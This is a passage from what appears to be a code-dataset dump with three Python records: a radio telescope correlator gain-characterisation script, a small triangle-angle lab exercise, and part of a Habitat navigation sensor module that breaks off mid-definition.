interpolate.splev(FEng_f_Hz,tck)\r\n\r\nSA_GainOffset_dB = SA_GainOffset_dB[:,:,np.newaxis].repeat(Src_NrLevels,2).transpose(2,0,1)\r\n\r\n# Step 3: Extract snapshot data\r\nif do_snapshot == 1:\r\n # 3.1: ADC snapshot\r\n ADC_power_dBL = 20*log10(data['ADC_std'])\r\n ADC_mean = data['ADC_mean']\r\n if np.rank(data['SA_ChP_dBm']) == 1:\r\n ADC_power_dBL = ADC_power_dBL[np.newaxis,:]\r\n ADC_mean = ADC_mean[np.newaxis,:]\r\n ADC_pfb_dBL = 20*log10(data['ADC_pfb'][np.newaxis,:,:])\r\n else:\r\n ADC_pfb_dBL = 20*log10(data['ADC_pfb'])\r\n \r\n # 3.2: Requantizer I channel snapshot data\r\n if np.rank(data['SA_ChP_dBm']) == 1:\r\n ReQ_P_dBL = 10*log10((data['ReQ_I_std']**2 + data['ReQ_Q_std']**2)[np.newaxis,:,:])\r\n ReQ_I_mean = data['ReQ_I_mean'][np.newaxis,:,:]\r\n ReQ_Q_mean = data['ReQ_Q_mean'][np.newaxis,:,:]\r\n else:\r\n ReQ_P_dBL = 10*log10((data['ReQ_I_std']**2 + data['ReQ_Q_std']**2))\r\n ReQ_I_mean = data['ReQ_I_mean']\r\n ReQ_Q_mean = data['ReQ_Q_mean']\r\n ReQ_P_dBL[np.isinf(ReQ_P_dBL)] = ReQ_P_dBL[np.isfinite(ReQ_P_dBL)].min()\r\n \r\n# Step 4: Load correlator data\r\nif do_correlator == 1:\r\n XEng_fname_out = data['XEng_fname_out']\r\n if np.rank(data['SA_ChP_dBm']) == 1:\r\n XEng_fname_out = list([XEng_fname_out])\r\n \r\n XEng_P_dBL = np.zeros((len(XEng_fname_out),FEng_NrCh,len(Sys_IpChId)))\r\n for idx_f,fname_h5 in enumerate(XEng_fname_out):\r\n for idx_s,corr_str in enumerate(Sys_IpChId):\r\n print('Working on',fname_h5,corr_str)\r\n XEng_raw_data = roach_hsys.read_dbe_correlator_h5(path_data + \\\r\n path.sep + fname_h5 + '.h5',corr_str+corr_str)[0]*(1./512) # corr_str + corr_str \r\n # yields autocorrelation (integrated power). The k7w already corrects for XEng \r\n # accumulation\r\n XEng_P_dBL[idx_f,:,idx_s] = 10*np.log10(np.median(np.real(XEng_raw_data),0)) \r\n \r\n XEng_raw_data = 0\r\n \r\n# ---------------------\r\n# PROCESSING PARAMETERS\r\n# ---------------------\r\n\r\n# Define censoring\r\nidx_ip_ch = range(0,4)\r\nidx_feng_ch = range(50,350)\r\n# Define lpf for smoothing of recorded data\r\nlpf_fn_cutoff = 0.05\r\nlpf_order = 21\r\n# fitting parameters\r\ndelta_x_dB = 0.1\r\n# Define correction filename\r\nfname_vanvleck = 'CorrGainEst_SA_Tot.npz'\r\n# Define what processing to do\r\ndo_vna_correction = True\r\ndo_vanvleck = False\r\ndo_adc_correction = False\r\ndo_filter_sa = True\r\ndo_filter_pfb = True\r\ndo_filter_req = True\r\ndo_filter_xeng = True\r\ndo_filter_gain = False\r\ndo_save_file = True\r\n# Define if new figures are to be drawn\r\nnew_figure = True \r\n\r\n# ----------\r\n# PROCESSING\r\n# ----------\r\n\r\nif new_figure:\r\n next_fig_num = 0\r\nelse:\r\n next_fig_num = max(plt.get_fignums()) + 1\r\n\r\n# Step 0: Define lpf\r\nlpf_groupdelay = int((lpf_order-1)/2)\r\nlpf_b = signal.firwin(lpf_order,lpf_fn_cutoff,window='hamming')\r\nlpf = lambda x , axis_proc : np.roll(signal.lfilter(lpf_b,1,x,axis_proc),-lpf_groupdelay,axis_proc)\r\n# Lambda function that applies a low-pass filter with the specified cut-off and order and reverses\r\n# the filter group delay. Data will be corrupt at the beginning and end for a length equal to group_delay\r\n#np.roll(signal.lfilter(lpf,1,x,axis),-lpf_groupdelay,axis)\r\n\r\n# Step 1: Do vna correction, if required\r\nif do_vna_correction:\r\n SA_ChP_dBm = SA_ChP_Base_dBm + SA_GainOffset_dB\r\nelse:\r\n SA_ChP_dBm = SA_ChP_Base_dBm\r\n \r\n# Step 2: Calculate total input channel power and find the sorted index to ensure that data is represented\r\n# for increasing channel power\r\nSA_TotP_dBm = 10*log10(np.sum(10**(0.1*SA_ChP_dBm),1))\r\nidx_sort = np.argsort(SA_TotP_dBm[:,0])\r\n\r\nADC_mean = ADC_mean[idx_sort,:]\r\nADC_pfb_dBL = ADC_pfb_dBL[idx_sort,:,:]\r\nADC_power_dBL = ADC_power_dBL[idx_sort,:]\r\n\r\nReQ_I_mean = ReQ_I_mean[idx_sort,:,:]\r\nReQ_P_dBL = ReQ_P_dBL[idx_sort,:,:]\r\nReQ_Q_mean = ReQ_Q_mean[idx_sort,:,:]\r\n\r\nSA_ChP_Base_dBm = SA_ChP_Base_dBm[idx_sort,:,:]\r\nSA_GainOffset_dB = SA_GainOffset_dB[idx_sort,:,:]\r\nSA_ChP_dBm = SA_ChP_dBm[idx_sort,:,:]\r\nSA_TotP_dBm = SA_TotP_dBm[idx_sort,:]\r\n\r\nXEng_fname_out = XEng_fname_out[idx_sort]\r\nXEng_P_dBL = XEng_P_dBL[idx_sort,:,:]\r\ndata = data[idx_sort]\r\n\r\n# Filter input data if so required\r\nif do_filter_sa:\r\n SA_ChP_dBm = lpf(SA_ChP_dBm,1)\r\n \r\nif do_filter_pfb:\r\n ADC_pfb_dBL = lpf(ADC_pfb_dBL,1)\r\n\r\nif do_filter_req:\r\n ReQ_P_dBL = lpf(ReQ_P_dBL,1)\r\n ReQ_I_mean = lpf(ReQ_I_mean,1)\r\n ReQ_Q_mean = lpf(ReQ_Q_mean,1)\r\n \r\nif do_filter_xeng:\r\n XEng_P_dBL = lpf(XEng_P_dBL,1)\r\n\r\n# Step 3: Characterize ADC response\r\nSA_ADC_gain_dB = ADC_power_dBL - SA_TotP_dBm\r\n\r\nnext_fig_num += 1\r\nplot_to_subplots([SA_TotP_dBm[:,idx_ip_ch]]*3, \\\r\n [ADC_power_dBL[:,idx_ip_ch],ADC_mean[:,idx_ip_ch],SA_ADC_gain_dB[:,idx_ip_ch]], \\\r\n marker = '.',title_txt = ['ADC response'], \\\r\n xlabel_txt = [None,None,'Total input power [dBm]'], \\\r\n ylabel_txt = ['Variance [dBL]','Mean [levels]','Gain [dB]'], \\\r\n legend_txt = [[list(Sys_IpChId[idx_ip_ch])],None,None], \\\r\n fig = next_fig_num)\r\n\r\nif do_adc_correction:\r\n SA_ChP_dBm += SA_ADC_gain_dB[:,:,np.newaxis].repeat(FEng_NrCh,2).transpose([0,2,1])\r\n\r\nSA_PFB_gain_dB = ADC_pfb_dBL - SA_ChP_dBm\r\nif do_filter_gain:\r\n SA_PFB_gain_dB = lpf(SA_PFB_gain_dB,1) \r\n \r\nnext_fig_num += 1\r\nplot_to_subplots([SA_ChP_dBm[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n [SA_PFB_gain_dB[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n linestyle = '-',marker = '.', \\\r\n xlabel_txt = 'Input channel power [dBm]', \\\r\n ylabel_txt = list(Sys_IpChId[idx_ip_ch]), \\\r\n title_txt = ['ADC frequency/amplitude transfer function'], \\\r\n fig = next_fig_num,sp_cols = 2)\r\n\r\nnext_fig_num += 1\r\nplot_to_subplots([FEng_f_Hz[idx_feng_ch]*1e-6]*len(idx_ip_ch), \\\r\n [SA_PFB_gain_dB[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n linestyle = '-',marker = '.', \\\r\n xlabel_txt = 'Channel frequency [MHz]', \\\r\n ylabel_txt = list(Sys_IpChId[idx_ip_ch]), \\\r\n title_txt = ['ADC frequency/amplitude transfer function'], \\\r\n fig = next_fig_num,sp_cols = 2)\r\n \r\n# Step 3: Characterize requantizer response\r\nSA_ReQ_gain_dB = ReQ_P_dBL - SA_ChP_dBm\r\nPFB_ReQ_gain_dB = ReQ_P_dBL - ADC_pfb_dBL\r\nif do_filter_gain:\r\n SA_ReQ_gain_dB = lpf(SA_ReQ_gain_dB,1)\r\n PFB_ReQ_gain_dB = lpf(PFB_ReQ_gain_dB,1)\r\n \r\nnext_fig_num += 1\r\nplot_to_subplots([SA_ChP_dBm[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n [SA_ReQ_gain_dB[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n linestyle = '-',marker = '.', \\\r\n xlabel_txt = 'Input channel power [dBm]', \\\r\n ylabel_txt = list(Sys_IpChId[idx_ip_ch]), \\\r\n title_txt = ['ReQ - SA transfer function'], \\\r\n fig = next_fig_num,sp_cols = 2)\r\n\r\nnext_fig_num += 1\r\nplot_to_subplots([ADC_pfb_dBL[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n [PFB_ReQ_gain_dB[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n linestyle = '-',marker = '.', \\\r\n xlabel_txt = 'Input channel power [dBm]', \\\r\n ylabel_txt = list(Sys_IpChId[idx_ip_ch]), \\\r\n title_txt = ['ReQ -PFB function'], \\\r\n fig = next_fig_num,sp_cols = 2)\r\n\r\n# Step 3: Characterize correlator response\r\nSA_XEng_gain_dB = XEng_P_dBL - SA_ChP_dBm\r\nPFB_XEng_gain_dB = XEng_P_dBL - ADC_pfb_dBL\r\nReQ_XEng_gain_dB = XEng_P_dBL - ReQ_P_dBL\r\nif do_filter_gain:\r\n SA_ReQ_gain_dB = lpf(SA_ReQ_gain_dB,1)\r\n PFB_ReQ_gain_dB = lpf(PFB_ReQ_gain_dB,1)\r\n ReQ_XEng_gain_dB = lpf(ReQ_XEng_gain_dB,1)\r\n \r\nSA_ChP_fit_dBm,XEng_SA_P_fit_dBL = fitxy(SA_ChP_dBm[:,idx_feng_ch,:][:,:,idx_ip_ch], \\\r\n XEng_P_dBL[:,idx_feng_ch,:][:,:,idx_ip_ch],delta_x_dB)\r\nXEng_SA_ChMedian_dBL = np.median(XEng_SA_P_fit_dBL,1)\r\nXEng_SA_TotMedian_dBL = np.median(collapse2d(XEng_SA_P_fit_dBL.transpose([1,2,0])),0)\r\n\r\nADC_pfb_fit_dBL,XEng_PFB_P_fit_dBL = fitxy(ADC_pfb_dBL[:,idx_feng_ch,:][:,:,idx_ip_ch], \\\r\n XEng_P_dBL[:,idx_feng_ch,:][:,:,idx_ip_ch],delta_x_dB)\r\nXEng_PFB_ChMedian_dBL = np.median(XEng_PFB_P_fit_dBL,1)\r\nXEng_PFB_TotMedian_dBL = np.median(collapse2d(XEng_PFB_P_fit_dBL.transpose([1,2,0])),0)\r\n \r\nlevels = np.arange(-7., 8.)\r\ndelta = levels[1] - levels[0]\r\nsigma = np.arange(0.2, 10.05, 0.05)\r\ntheory_x_dB = 20*log10(sigma)\r\ntheory_y_dB = 10*log10(2 * np.array([quant_norm_var(levels, std=s) for s in sigma])) \r\n\r\ny_normSA_dB = min([max(theory_y_dB),max(XEng_SA_TotMedian_dBL)])\r\ntheory_xSA_dB = theory_x_dB + \\\r\n SA_ChP_fit_dBm[np.argmin(abs(XEng_SA_TotMedian_dBL - y_normSA_dB))] - \\\r\n theory_x_dB[np.argmin(abs(theory_y_dB - y_normSA_dB))]\r\n\r\ny_normPFB_dB = min([max(theory_y_dB),max(XEng_PFB_TotMedian_dBL)])\r\ntheory_xPFB_dB = theory_x_dB + \\\r\n ADC_pfb_fit_dBL[np.argmin(abs(XEng_PFB_TotMedian_dBL - y_normPFB_dB))] - \\\r\n theory_x_dB[np.argmin(abs(theory_y_dB - y_normPFB_dB))]\r\n\r\nnext_fig_num += 1\r\nplot_to_subplots([SA_ChP_dBm[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n [SA_XEng_gain_dB[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n linestyle = '-',marker = '.', \\\r\n xlabel_txt = 'Input channel power [dBm]', \\\r\n ylabel_txt = list(Sys_IpChId[idx_ip_ch]), \\\r\n title_txt = ['XEng - SA transfer function'], \\\r\n fig = next_fig_num,sp_cols = 2)\r\n\r\nnext_fig_num += 1\r\nplot_to_subplots([ADC_pfb_dBL[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n [PFB_XEng_gain_dB[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n linestyle = '-',marker = '.', \\\r\n xlabel_txt = 'Input channel power [dBL]', \\\r\n ylabel_txt = list(Sys_IpChId[idx_ip_ch]), \\\r\n title_txt = ['XEng - PFB transfer function'], \\\r\n fig = next_fig_num,sp_cols = 2)\r\n\r\nnext_fig_num += 1\r\nplot_to_subplots([ReQ_P_dBL[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n [ReQ_XEng_gain_dB[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n linestyle = '-',marker = '.', \\\r\n xlabel_txt = 'Input channel power [dBL]', \\\r\n ylabel_txt = list(Sys_IpChId[idx_ip_ch]), \\\r\n title_txt = ['XEng - ReQ transfer function'], \\\r\n fig = next_fig_num,sp_cols = 2)\r\n\r\nnext_fig_num += 1\r\nplot_to_subplots([[SA_ChP_fit_dBm,SA_ChP_fit_dBm,theory_xSA_dB], \\\r\n [ADC_pfb_fit_dBL,ADC_pfb_fit_dBL,theory_xPFB_dB], \\\r\n [SA_ChP_fit_dBm,SA_ChP_fit_dBm,theory_xSA_dB], \\\r\n [ADC_pfb_fit_dBL,ADC_pfb_fit_dBL,theory_xPFB_dB]], \\\r\n [[XEng_SA_ChMedian_dBL,XEng_SA_TotMedian_dBL,theory_y_dB], \\\r\n [XEng_PFB_ChMedian_dBL,XEng_PFB_TotMedian_dBL,theory_y_dB], \\\r\n [XEng_SA_ChMedian_dBL-SA_ChP_fit_dBm[:,np.newaxis].repeat(len(idx_ip_ch),1), \\\r\n XEng_SA_TotMedian_dBL-SA_ChP_fit_dBm,theory_y_dB-theory_xSA_dB], \\\r\n [XEng_PFB_ChMedian_dBL-ADC_pfb_fit_dBL[:,np.newaxis].repeat(len(idx_ip_ch),1), \\\r\n XEng_PFB_TotMedian_dBL-ADC_pfb_fit_dBL,theory_y_dB-theory_xPFB_dB]], \\\r\n marker = [[None,'.','x'],[None,'.','x'],[None,'.','x'],[None,'.','x']], \\\r\n xlabel_txt = [None,None,'SA input channel power [dBm]','ADC PFB channel power [dBL]'], \\\r\n ylabel_txt = ['Correlator power [dBL]',None,'Gain [dB]',None], \\\r\n title_txt = ['Correlator vs SA','Correlator vs ADC PFB'], \\\r\n legend_txt = [[list(Sys_IpChId[idx_ip_ch])],[None,'Total','Theory']], \\\r\n fig = next_fig_num,sp_cols = 2)\r\n\r\n# -------------------------\r\n# SAVE CHARACTERISTIC CURVE\r\n# -------------------------\r\n\r\nif do_save_file:\r\n for idx_ip in idx_ip_ch:\r\n savestr = 'CorrGainEst_SA_Ch%s'%Sys_IpChId[idx_ip]\r\n savexy(SA_ChP_fit_dBm,XEng_SA_ChMedian_dBL[:,idx_ip],savestr)\r\n \r\n savexy(SA_ChP_fit_dBm,XEng_SA_TotMedian_dBL,'CorrGainEst_SA_Tot')\r\n savexy(ADC_pfb_fit_dBL,XEng_PFB_TotMedian_dBL,'CorrGainEst_PFB_Tot')\r\n \r\n# --------------\r\n# TEST LINEARITY\r\n# --------------\r\nXEng_test_dBL = np.zeros((len(XEng_fname_out),FEng_NrCh,len(Sys_IpChId)))\r\nif do_vanvleck:\r\n x_inv_dB,y_inv_dB = roach_hsys.get_van_vleck_inverse(fname_vanvleck)\r\n\r\nfor idx_f,fname_h5 in enumerate(XEng_fname_out):\r\n for idx_s,corr_str in enumerate(Sys_IpChId):\r\n print('Working on',fname_h5,corr_str)\r\n XEng_raw_data = roach_hsys.read_dbe_correlator_h5(path_data + \\\r\n path.sep + fname_h5 + '.h5',corr_str+corr_str)[0] # corr_str + corr_str \r\n # yields autocorrelation (integrated power). The k7w already corrects for XEng \r\n # accumulation, whilst read_dbe_correlator_h5 corrects for the 128 accumulation \r\n # that occurs on the FEng\r\n if do_vanvleck:\r\n XEng_raw_data = roach_hsys.apply_van_fleck_inverse(XEng_raw_data,x_inv_dB,y_inv_dB)\r\n \r\n XEng_test_dBL[idx_f,:,idx_s] = 10*np.log10(np.median(np.real(XEng_raw_data),0)) \r\n\r\nXEng_raw_data = 0\r\n\r\nnext_fig_num += 1\r\nplot_to_subplots([SA_ChP_dBm[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n [(XEng_test_dBL - SA_ChP_dBm)[:,idx_feng_ch,idx_ip].T for idx_ip in idx_ip_ch], \\\r\n linestyle = '-',marker = '.', \\\r\n xlabel_txt = 'SA Input channel power [dBm]', \\\r\n ylabel_txt = list(Sys_IpChId[idx_ip_ch]), \\\r\n title_txt = ['Linearized XEng-SA response'], \\\r\n fig = next_fig_num,sp_cols = 2)\r\n\r\nplt.show()\r\n","repo_name":"lmagnus/imager_scripts","sub_path":"hotbox/CorrGainEstWBNoise_Proc.py","file_name":"CorrGainEstWBNoise_Proc.py","file_ext":"py","file_size_in_byte":17704,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"43748501803","text":"import math\nx1 = int(input())\ny1 = int(input())\nx2 = int(input())\ny2 = int(input())\nx3 = int(input())\ny3 = int(input())\na = math.sqrt((x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1))\nb = math.sqrt((x3 - x1) * (x3 - x1) + (y3 - y1) * (y3 - y1))\nc = math.sqrt((x3 - x2) * (x3 - x2) + (y3 - y2) * (y3 - y2))\nres1 = (math.acos((b * b + c * c - a * a) / (b * c * 2)) * 180) / math.pi\nres2 = (math.acos((a * a + c * c - b * b) / (a * c * 2)) * 180) / math.pi\nres3 = (math.acos((b * b + a * a - c * c) / (b * a * 2)) * 180) / math.pi\nprint(a)\nprint(b)\n\nprint(c)\nprint(res1)\nprint(res2)\nprint(res3)","repo_name":"simatiz/MyLabsPython","sub_path":"Lab1/Lab1.py","file_name":"Lab1.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29822538678","text":"from typing import TYPE_CHECKING, Any, List, Optional, Sequence, Tuple, Union\n\nimport attr\nimport numpy as np\nimport quaternion\nfrom gym import spaces\n\nfrom habitat.config import read_write\nfrom habitat.config.default import get_agent_config\nfrom habitat.core.dataset import Dataset, Episode\nfrom habitat.core.embodied_task import (\n EmbodiedTask,\n Measure,\n SimulatorTaskAction,\n)\nfrom habitat.core.logging import logger\nfrom habitat.core.registry import registry\nfrom habitat.core.simulator import (\n AgentState,\n RGBSensor,\n Sensor,\n SensorTypes,\n ShortestPathPoint,\n Simulator,\n)\nfrom habitat.core.spaces import ActionSpace\nfrom habitat.core.utils import not_none_validator, try_cv2_import\nfrom habitat.sims.habitat_simulator.actions import HabitatSimActions\nfrom habitat.tasks.utils import cartesian_to_polar\nfrom habitat.utils.geometry_utils import (\n quaternion_from_coeff,\n quaternion_rotate_vector,\n)\nfrom habitat.utils.visualizations import fog_of_war, maps\n\ntry:\n from habitat.sims.habitat_simulator.habitat_simulator import HabitatSim\n from habitat_sim import RigidState\n from habitat_sim.physics import VelocityControl\nexcept ImportError:\n pass\n\ntry:\n import magnum as mn\nexcept ImportError:\n pass\n\nif TYPE_CHECKING:\n from omegaconf import DictConfig\n\n\ncv2 = try_cv2_import()\n\n\nMAP_THICKNESS_SCALAR: int = 128\n\n\n@attr.s(auto_attribs=True, kw_only=True)\nclass NavigationGoal:\n r\"\"\"Base class for a goal specification hierarchy.\"\"\"\n\n position: List[float] = attr.ib(default=None, validator=not_none_validator)\n radius: Optional[float] = None\n\n\n@attr.s(auto_attribs=True, kw_only=True)\nclass RoomGoal(NavigationGoal):\n r\"\"\"Room goal that can be specified by room_id or position with radius.\"\"\"\n\n room_id: str = attr.ib(default=None, validator=not_none_validator)\n room_name: Optional[str] = None\n\n\n@attr.s(auto_attribs=True, kw_only=True)\nclass NavigationEpisode(Episode):\n r\"\"\"Class for episode specification that includes initial position and\n rotation of agent, scene name, goal and optional shortest paths. An\n episode is a description of one task instance for the agent.\n\n Args:\n episode_id: id of episode in the dataset, usually episode number\n scene_id: id of scene in scene dataset\n start_position: numpy ndarray containing 3 entries for (x, y, z)\n start_rotation: numpy ndarray with 4 entries for (x, y, z, w)\n elements of unit quaternion (versor) representing agent 3D\n orientation. ref: https://en.wikipedia.org/wiki/Versor\n goals: list of goals specifications\n start_room: room id\n shortest_paths: list containing shortest paths to goals\n \"\"\"\n\n goals: List[NavigationGoal] = attr.ib(\n default=None,\n validator=not_none_validator,\n on_setattr=Episode._reset_shortest_path_cache_hook,\n )\n start_room: Optional[str] = None\n shortest_paths: Optional[List[List[ShortestPathPoint]]] = None\n\n\n@registry.register_sensor\nclass PointGoalSensor(Sensor):\n r\"\"\"Sensor for PointGoal observations which are used in PointGoal Navigation.\n\n For the agent in simulator the forward direction is along negative-z.\n In polar coordinate format the angle returned is azimuth to the goal.\n\n Args:\n sim: reference to the simulator for calculating task observations.\n config: config for the PointGoal sensor. Can contain field for\n `goal_format` which can be used to specify the format in which\n the pointgoal is specified. Current options for goal format are\n cartesian and polar.\n\n Also contains a `dimensionality` field which specifes the number\n of dimensions ued to specify the goal, must be in [2, 3]\n\n Attributes:\n _goal_format: format for specifying the goal which can be done\n in cartesian or polar coordinates.\n _dimensionality: number of dimensions used to specify the goal\n \"\"\"\n cls_uuid: str = \"pointgoal\"\n\n def __init__(\n self, sim: Simulator, config: \"DictConfig\", *args: Any, **kwargs: Any\n ):\n self._sim = sim\n\n self._goal_format = getattr(config, \"goal_format\", \"CARTESIAN\")\n assert self._goal_format in [\"CARTESIAN\", \"POLAR\"]\n\n self._dimensionality = getattr(config, \"dimensionality\", 2)\n assert self._dimensionality in [2, 3]\n\n super().__init__(config=config)\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return self.cls_uuid\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.PATH\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n sensor_shape = (self._dimensionality,)\n\n return spaces.Box(\n low=np.finfo(np.float32).min,\n high=np.finfo(np.float32).max,\n shape=sensor_shape,\n dtype=np.float32,\n )\n\n def _compute_pointgoal(\n self, source_position, source_rotation, goal_position\n ):\n direction_vector = goal_position - source_position\n direction_vector_agent = quaternion_rotate_vector(\n source_rotation.inverse(), direction_vector\n )\n\n if self._goal_format == \"POLAR\":\n if self._dimensionality == 2:\n rho, phi = cartesian_to_polar(\n -direction_vector_agent[2], direction_vector_agent[0]\n )\n return np.array([rho, -phi], dtype=np.float32)\n else:\n _, phi = cartesian_to_polar(\n -direction_vector_agent[2], direction_vector_agent[0]\n )\n theta = np.arccos(\n direction_vector_agent[1]\n / np.linalg.norm(direction_vector_agent)\n )\n rho = np.linalg.norm(direction_vector_agent)\n\n return np.array([rho, -phi, theta], dtype=np.float32)\n else:\n if self._dimensionality == 2:\n return np.array(\n [-direction_vector_agent[2], direction_vector_agent[0]],\n dtype=np.float32,\n )\n else:\n return direction_vector_agent\n\n def get_observation(\n self,\n observations,\n episode: NavigationEpisode,\n *args: Any,\n **kwargs: Any,\n ):\n source_position = np.array(episode.start_position, dtype=np.float32)\n rotation_world_start = quaternion_from_coeff(episode.start_rotation)\n goal_position = np.array(episode.goals[0].position, dtype=np.float32)\n\n return self._compute_pointgoal(\n source_position, rotation_world_start, goal_position\n )\n\n\n@registry.register_sensor\nclass ImageGoalSensor(Sensor):\n r\"\"\"Sensor for ImageGoal observations which are used in ImageGoal Navigation.\n\n RGBSensor needs to be one of the Simulator sensors.\n This sensor return the rgb image taken from the goal position to reach with\n random rotation.\n\n Args:\n sim: reference to the simulator for calculating task observations.\n config: config for the ImageGoal sensor.\n \"\"\"\n cls_uuid: str = \"imagegoal\"\n\n def __init__(\n self, *args: Any, sim: Simulator, config: \"DictConfig\", **kwargs: Any\n ):\n self._sim = sim\n sensors = self._sim.sensor_suite.sensors\n rgb_sensor_uuids = [\n uuid\n for uuid, sensor in sensors.items()\n if isinstance(sensor, RGBSensor)\n ]\n if len(rgb_sensor_uuids) != 1:\n raise ValueError(\n f\"ImageGoalNav requires one RGB sensor, {len(rgb_sensor_uuids)} detected\"\n )\n\n (self._rgb_sensor_uuid,) = rgb_sensor_uuids\n self._current_episode_id: Optional[str] = None\n self._current_image_goal = None\n super().__init__(config=config)\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return self.cls_uuid\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.PATH\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n return self._sim.sensor_suite.observation_spaces.spaces[\n self._rgb_sensor_uuid\n ]\n\n def _get_pointnav_episode_image_goal(self, episode: NavigationEpisode):\n goal_position = np.array(episode.goals[0].position, dtype=np.float32)\n # to be sure that the rotation is the same for the same episode_id\n # since the task is currently using pointnav Dataset.\n seed = abs(hash(episode.episode_id)) % (2**32)\n rng = np.random.RandomState(seed)\n angle = rng.uniform(0, 2 * np.pi)\n source_rotation = [0, np.sin(angle / 2), 0, np.cos(angle / 2)]\n goal_observation = self._sim.get_observations_at(\n position=goal_position.tolist(), rotation=source_rotation\n )\n return goal_observation[self._rgb_sensor_uuid]\n\n def get_observation(\n self,\n *args: Any,\n observations,\n episode: NavigationEpisode,\n **kwargs: Any,\n ):\n episode_uniq_id = f\"{episode.scene_id} {episode.episode_id}\"\n if episode_uniq_id == self._current_episode_id:\n return self._current_image_goal\n\n self._current_image_goal = self._get_pointnav_episode_image_goal(\n episode\n )\n self._current_episode_id = episode_uniq_id\n\n return self._current_image_goal\n\n\n@registry.register_sensor(name=\"PointGoalWithGPSCompassSensor\")\nclass IntegratedPointGoalGPSAndCompassSensor(PointGoalSensor):\n r\"\"\"Sensor that integrates PointGoals observations (which are used PointGoal Navigation) and GPS+Compass.\n\n For the agent in simulator the forward direction is along negative-z.\n In polar coordinate format the angle returned is azimuth to the goal.\n\n Args:\n sim: reference to the simulator for calculating task observations.\n config: config for the PointGoal sensor. Can contain field for\n `goal_format` which can be used to specify the format in which\n the pointgoal is specified. Current options for goal format are\n cartesian and polar.\n\n Also contains a `dimensionality` field which specifes the number\n of dimensions ued to specify the goal, must be in [2, 3]\n\n Attributes:\n _goal_format: format for specifying the goal which can be done\n in cartesian or polar coordinates.\n _dimensionality: number of dimensions used to specify the goal\n \"\"\"\n cls_uuid: str = \"pointgoal_with_gps_compass\"\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return self.cls_uuid\n\n def get_observation(\n self, observations, episode, *args: Any, **kwargs: Any\n ):\n agent_state = self._sim.get_agent_state()\n agent_position = agent_state.position\n rotation_world_agent = agent_state.rotation\n goal_position = np.array(episode.goals[0].position, dtype=np.float32)\n\n return self._compute_pointgoal(\n agent_position, rotation_world_agent, goal_position\n )\n\n\n@registry.register_sensor\nclass HeadingSensor(Sensor):\n r\"\"\"Sensor for observing the agent's heading in the global coordinate\n frame.\n\n Args:\n sim: reference to the simulator for calculating task observations.\n config: config for the sensor.\n \"\"\"\n cls_uuid: str = \"heading\"\n\n def __init__(\n self, sim: Simulator, config: \"DictConfig\", *args: Any, **kwargs: Any\n ):\n self._sim = sim\n super().__init__(config=config)\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return self.cls_uuid\n\n def _get_sensor_type(self, *args: Any, **kwargs: Any):\n return SensorTypes.HEADING\n\n def _get_observation_space(self, *args: Any, **kwargs: Any):\n return spaces.Box(low=-np.pi, high=np.pi, shape=(1,), dtype=np.float32)\n\n def _quat_to_xy_heading(self, quat):\n direction_vector = np.array([0, 0, -1])\n\n heading_vector = quaternion_rotate_vector(quat, direction_vector)\n\n phi = cartesian_to_polar(-heading_vector[2], heading_vector[0])[1]\n return np.array([phi], dtype=np.float32)\n\n def get_observation(\n self, observations, episode, *args: Any, **kwargs: Any\n ):\n agent_state = self._sim.get_agent_state()\n rotation_world_agent = agent_state.rotation\n\n if isinstance(rotation_world_agent, quaternion.quaternion):\n return self._quat_to_xy_heading(rotation_world_agent.inverse())\n else:\n raise ValueError(\"Agent's rotation was not a quaternion\")\n\n\n@registry.register_sensor(name=\"CompassSensor\")\nclass EpisodicCompassSensor(HeadingSensor):\n r\"\"\"The agents heading in the coordinate frame defined by the episode,\n theta=0 is defined by the agents state at t=0\n \"\"\"\n cls_uuid: str = \"compass\"\n\n def _get_uuid(self, *args: Any, **kwargs: Any) -> str:\n return self.cls_uuid\n\n def get_observation(\n self, observations, episode, *args: Any, **kwargs: Any\n ):\n agent_state = self._sim.get_agent_state()\n rotation_world_agent = agent_state.rotation\n rotation_world_start = quaternion_from_coeff(episode.start_rotation)\n\n if isinstance(rotation_world_agent, quaternion.quaternion):\n return self._quat_to_xy_heading(\n rotation_world_agent.inverse() * rotation_world_start\n )\n else:\n raise ValueError(\"Agent's rotation was not a quaternion\")\n\n\n@registry.register_sensor(name=\"GPSSensor\")\nclass EpisodicGPSSensor(Sensor):\n r\"\"\"The agents current location in the coordinate frame defined by the episode,\n i.e. the axis it faces along and the origin is defined by its state at t=0\n\n Args:\n sim: reference to the simulator for calculating task observations.\n config: Contains the `dimensionality` field for the number of dimensions to express the agents position\n Attributes:\n _dimensionality: number of dimensions used to specify the agents position\n \"\"\"\n cls_uuid: str = \"gps\"\n\n def __init__(\n self, sim: Simulator, config: \"DictConfig\", *args: Any, **kwargs: Any\n ):\n self._sim = sim\n\n self._dimensionality = 